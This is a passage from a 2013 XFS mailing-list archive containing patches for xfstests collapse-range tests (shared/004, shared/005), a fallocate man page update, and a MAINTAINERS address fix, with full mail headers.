Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 8/10] xfstest: shared/004: Delayed allocation multi collapse Date: Sun, 8 Dec 2013 23:12:47 +0900 X-ASG-Orig-Subj: [PATCH v4 8/10] xfstest: shared/004: Delayed allocation multi collapse Message-Id: <1386511967-3940-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f175.google.com[209.85.192.175] X-Barracuda-Start-Time: 1386511975 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(004) tries to test various corner cases with delayed extents and pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/004 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/004.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/004 create mode 100644 tests/shared/004.out diff --git a/tests/shared/004 b/tests/shared/004 new file mode 100755 index 0000000..5902b9f --- /dev/null +++ b/tests/shared/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 4 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/004.out b/tests/shared/004.out new file mode 100644 index 0000000..a7d0f52 --- /dev/null +++ b/tests/shared/004.out @@ -0,0 +1,53 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 9226032..fb1d6d0 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -6,6 +6,7 @@ 001 auto prealloc 002 auto prealloc 003 auto prealloc +004 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:13:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 39D0F7FF4 for ; Sun, 8 Dec 2013 08:13:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0D85C304032 for ; Sun, 8 Dec 2013 06:13:16 -0800 (PST) X-ASG-Debug-ID: 1386511989-04bdf013221022e0001-NocioJ Received: from mail-pb0-f42.google.com (mail-pb0-f42.google.com [209.85.160.42]) by cuda.sgi.com with ESMTP id q72DLMVsjyuzNn4s (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:13:09 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.42 Received: by mail-pb0-f42.google.com with SMTP id uo5so3800765pbc.15 for ; Sun, 08 Dec 2013 06:13:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=VD4UBB+s3bw+JsB456jsdCH7ASBZkia5f5XtmFcCMfY=; b=t3Y2WVEDOQspc3RYcPhtDtNgGrZ7/WqwAyVvCHXhMdAYCRzM4VN5UcK0SUlucieZdC Q3OiisfZWwM03mmLcjCyNVChEH//P6LU44ChKLWTt8kD50LON9/iwUMc+fp85M0lGBKd x5iSBmhbH/hrpRNdmGw1hhQODXk+1A5QaqCOU7LfEQSOKIYqHbeX2a1SdQJL5ZCk+xne ua5L9879Wer2/zRy5A8NZrqzXYWXY4yP8l8YG2mONe5VG9j9d89RIiq5Htgf9ozzcswH eSuBogZdaTf8cCXzJL3s+PGyrbqgdIMddr84Rz6OG3kIc1bHvr33uL7NTs1SLVzCotuP FYCg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.251.133 with SMTP id zk5mr15555860pbc.69.1386511989538; Sun, 08 Dec 2013 06:13:09 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id qf7sm15547146pac.14.2013.12.08.06.13.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:13:09 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 9/10] xfstest: shared/005: Test multiple fallocate collapse Date: Sun, 8 Dec 2013 23:13:01 +0900 X-ASG-Orig-Subj: [PATCH v4 9/10] xfstest: shared/005: Test multiple fallocate collapse Message-Id: <1386511981-3974-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f42.google.com[209.85.160.42] X-Barracuda-Start-Time: 1386511989 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/005 | 90 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/005.out | 4 +++ tests/shared/group | 1 + 3 files changed, 95 insertions(+) create mode 100644 tests/shared/005 create mode 100644 tests/shared/005.out diff --git a/tests/shared/005 b/tests/shared/005 new file mode 100644 index 0000000..1347e7f --- /dev/null +++ b/tests/shared/005 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 5 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/shared/005.out b/tests/shared/005.out new file mode 100644 index 0000000..8d30b9d --- /dev/null +++ b/tests/shared/005.out @@ -0,0 +1,4 @@ +QA output created by 005 +80 +80 +80 diff --git a/tests/shared/group b/tests/shared/group index fb1d6d0..22f1d3a 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -7,6 +7,7 @@ 002 auto prealloc 003 auto prealloc 004 auto prealloc +005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:14:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B8E107FFA for ; Sun, 8 Dec 2013 08:14:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7EC108F8064 for ; Sun, 8 Dec 2013 06:14:49 -0800 (PST) X-ASG-Debug-ID: 1386512088-04bdf013231023c0001-NocioJ Received: from mail-pb0-f46.google.com (mail-pb0-f46.google.com [209.85.160.46]) by cuda.sgi.com with ESMTP id nuuNyW2th7BmNlhE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:14:48 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.46 Received: by mail-pb0-f46.google.com with SMTP id md12so3758146pbc.5 for ; Sun, 08 Dec 2013 06:14:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=AyfEVRbHFhrND/oRpm7NTn3/5chkaA+3C3Go8Rch0tM=; b=d9KvZ8nhX7ND1LrS9q9NhDJ+Gk6yz2AbKau3OVkk/7rOiP+Ts2KSh/ZZihBAqC0a7D KA2q/t+IQR9NIt0IfmU1xHfPGSDsxcicO9BqmKyUKxi53Z9UNY7yIloyI184yQQeUoGa kv1qG4qoVN6wNSZq1DmHDKZhKPt+HxuCkX48m/ihPRAty84M9ns2c3tujYKv6LSByLWO CoqX2/ovsEIufeMCpGuppX8kkEBOXryX/lX8/K1yi1cHVuTjiyKrFQASZqEAyOJFM3L7 1srdgF7aiUxIzcsCpjPC0UVKxNtbK0w7DjK8kBI6hUwJiZ/BnmUyj75pkW8HuLY9y6to dtIA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.142.107 with SMTP id rv11mr15578673pab.17.1386512088321; Sun, 08 Dec 2013 06:14:48 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id fk4sm15551048pab.23.2013.12.08.06.14.45 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:14:47 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Sun, 8 Dec 2013 23:14:39 +0900 X-ASG-Orig-Subj: [PATCH v4 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1386512079-4099-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f46.google.com[209.85.160.46] X-Barracuda-Start-Time: 1386512088 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index ec9011c..69a4dbd 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -1,5 +1,6 @@ .\" Copyright (c) 2007 Silicon Graphics, Inc. All Rights Reserved .\" Written by Dave Chinner +.\" Updated by Namjae Jeon .\" .\" %%%LICENSE_START(GPLv2_ONELINE) .\" May be distributed as per GNU General Public License version 2. @@ -7,6 +8,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2013-11-10: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2013-11-08 "Linux" "Linux Programmer's Manual" .SH NAME @@ -113,6 +115,25 @@ does not change. Not all filesystems support .BR FALLOC_FL_PUNCH_HOLE ; if a filesystem doesn't support the operation, an error is returned. +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collpse space in the byte range starting at +.I offset +and continuing for +.I len +bytes. Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + +Different filesystem may implement different limitatios on the granularity of +the operation. Most filesystem will limit operations to filesystem block size +boundaries, but this boundary may be larger or smaller depending +on the filesystem and/or the configuration of the filesystem or file. + +If filesystem has such limitation on granularity, It will return error(EINVAL). + .SH RETURN VALUE On success, .BR fallocate () -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:33:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D1B97FD5 for ; Sun, 8 Dec 2013 08:33:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7782AC001 for ; Sun, 8 Dec 2013 06:33:02 -0800 (PST) X-ASG-Debug-ID: 1386513178-04bdf01321102ef0001-NocioJ Received: from mail-pb0-f50.google.com (mail-pb0-f50.google.com [209.85.160.50]) by cuda.sgi.com with ESMTP id zrhOgKxyxOpjb7Oj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:32:59 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.50 Received: by mail-pb0-f50.google.com with SMTP id rr13so3789300pbb.23 for ; Sun, 08 Dec 2013 06:32:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=7rfMojzTFSzTZhV109+IwPJ9cH7Rvwwe6JvIV9iNSxk=; b=PhJUPs1yhkJuaFiOASa6ZRtSPhP1dfrpjrqsIUA/Jp5dPQhGfjPVkmTxg1zHtAm6KU tTajGCO8+YuEneO5ZiSbT529zwvgaOqNFEg7s27xJ8z/IM8lmnj5VPvrJ5mUFnLwkIMj pgYa22sqqYdJ9vsi5qcWtmpN+0IQoqsaKIg9L4QtL+Yh3qdoNEBVEzoB9ts6LTgd07UN M3+uw+Q0giMxPbX1kyUIamCh3F93MtirSlLKxGowVwf2IR55ga/Pfk9zQImDdb31ULyk MJB1D6kzgIsmCM7W/0lmuvtEK8RlNn5ujW9YgKol6/W0N/edMJXxRTrHCD7NnCJQkOxb q8Lg== X-Barracuda-BBL-IP: nil X-Received: by 10.67.14.231 with SMTP id fj7mr15309920pad.115.1386513178527; Sun, 08 Dec 2013 06:32:58 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id pa1sm15680830pac.17.2013.12.08.06.32.56 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:32:57 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: dchinner@fromorbit.com, bpm@sgi.com Cc: xfs@oss.sgi.com, Namjae Jeon , Namjae Jeon Subject: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Date: Sun, 8 Dec 2013 23:32:44 +0900 X-ASG-Orig-Subj: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Message-Id: <1386513164-4875-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f50.google.com[209.85.160.50] X-Barracuda-Start-Time: 1386513179 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon When I tried to send the patches to XFS Maintainers, I got returned mail included delivery fail message for Dave's mail. Maybe, Dave Chinner mail address is incorrect. I try to fix it correctly. Signed-off-by: Namjae Jeon --- MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MAINTAINERS b/MAINTAINERS index 0f64bd9..3cd17ec 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -9558,7 +9558,7 @@ F: drivers/xen/*swiotlb* XFS FILESYSTEM P: Silicon Graphics Inc -M: Dave Chinner +M: Dave Chinner M: Ben Myers M: xfs@oss.sgi.com L: xfs@oss.sgi.com -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:34:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0968E7FF0 for ; Sun, 8 Dec 2013 08:34:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96402AC005 for ; Sun, 8 Dec 2013 06:34:00 -0800 (PST) X-ASG-Debug-ID: 1386513237-04bdf0131b102fa0001-NocioJ Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) by cuda.sgi.com with ESMTP id aqs1yqAQFxs0EDSm (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:33:57 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.49 Received: by mail-pb0-f49.google.com with SMTP id jt11so3789670pbb.22 for ; Sun, 08 Dec 2013 06:33:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=7rfMojzTFSzTZhV109+IwPJ9cH7Rvwwe6JvIV9iNSxk=; b=kC0m1GnOzcqXsCvOYoHchijcSAMh/4CrD/2zx3bm2pJzGI0slHaGzayJXN4NvDCBQE yeQahFcKgIIViKgHsYN8t0ocXd+CzmY1PwmSy7zEA3uAAwH9e/oUuy8TTtS3BtWMlCFJ z6pMLptlB5mgGQ2iYmFzObbK3rxCqRt6U82OvVvSTmDEeNPDBWGzB8s4zwii7Pma5COE rmsvYAt8tSfew7a3A9WB+YYYzHOdGuePs4l+7RQxxZaNMOblksw748JBeorXhA7qVTf+ D//1MkUS2ryxBqxa3uRGR8tEZRMIhflohFZ9TopDFyB2lzi1+j1r2+BH2BKmadg7Nmcy s/hA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.118.71 with SMTP id kk7mr15583789pab.14.1386513237679; Sun, 08 Dec 2013 06:33:57 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id wp8sm11313849pbc.26.2013.12.08.06.33.55 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:33:57 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: david@fromorbit.com, bpm@sgi.com Cc: xfs@oss.sgi.com, Namjae Jeon , Namjae Jeon Subject: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Date: Sun, 8 Dec 2013 23:33:50 +0900 X-ASG-Orig-Subj: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Message-Id: <1386513230-4914-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f49.google.com[209.85.160.49] X-Barracuda-Start-Time: 1386513237 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon When I tried to send the patches to XFS Maintainers, I got returned mail included delivery fail message for Dave's mail. Maybe, Dave Chinner mail address is incorrect. I try to fix it correctly. Signed-off-by: Namjae Jeon --- MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MAINTAINERS b/MAINTAINERS index 0f64bd9..3cd17ec 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -9558,7 +9558,7 @@ F: drivers/xen/*swiotlb* XFS FILESYSTEM P: Silicon Graphics Inc -M: Dave Chinner +M: Dave Chinner M: Ben Myers M: xfs@oss.sgi.com L: xfs@oss.sgi.com -- 1.7.9.5 From eflorac@intellique.com Sun Dec 8 09:04:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 64A487FF8 for ; Sun, 8 Dec 2013 09:04:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 00A88AC001 for ; Sun, 8 Dec 2013 07:04:04 -0800 (PST) X-ASG-Debug-ID: 1386515027-04bdf0131b104050001-NocioJ Received: from smtp6-g21.free.fr (smtp6-g21.free.fr [212.27.42.6]) by cuda.sgi.com with ESMTP id ZuzacCpfodIRnD9Y for ; Sun, 08 Dec 2013 07:03:49 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.6 Received: from galadriel.home (unknown [82.235.234.79]) by smtp6-g21.free.fr (Postfix) with ESMTP id 808978224D; Sun, 8 Dec 2013 16:03:42 +0100 (CET) Date: Sun, 8 Dec 2013 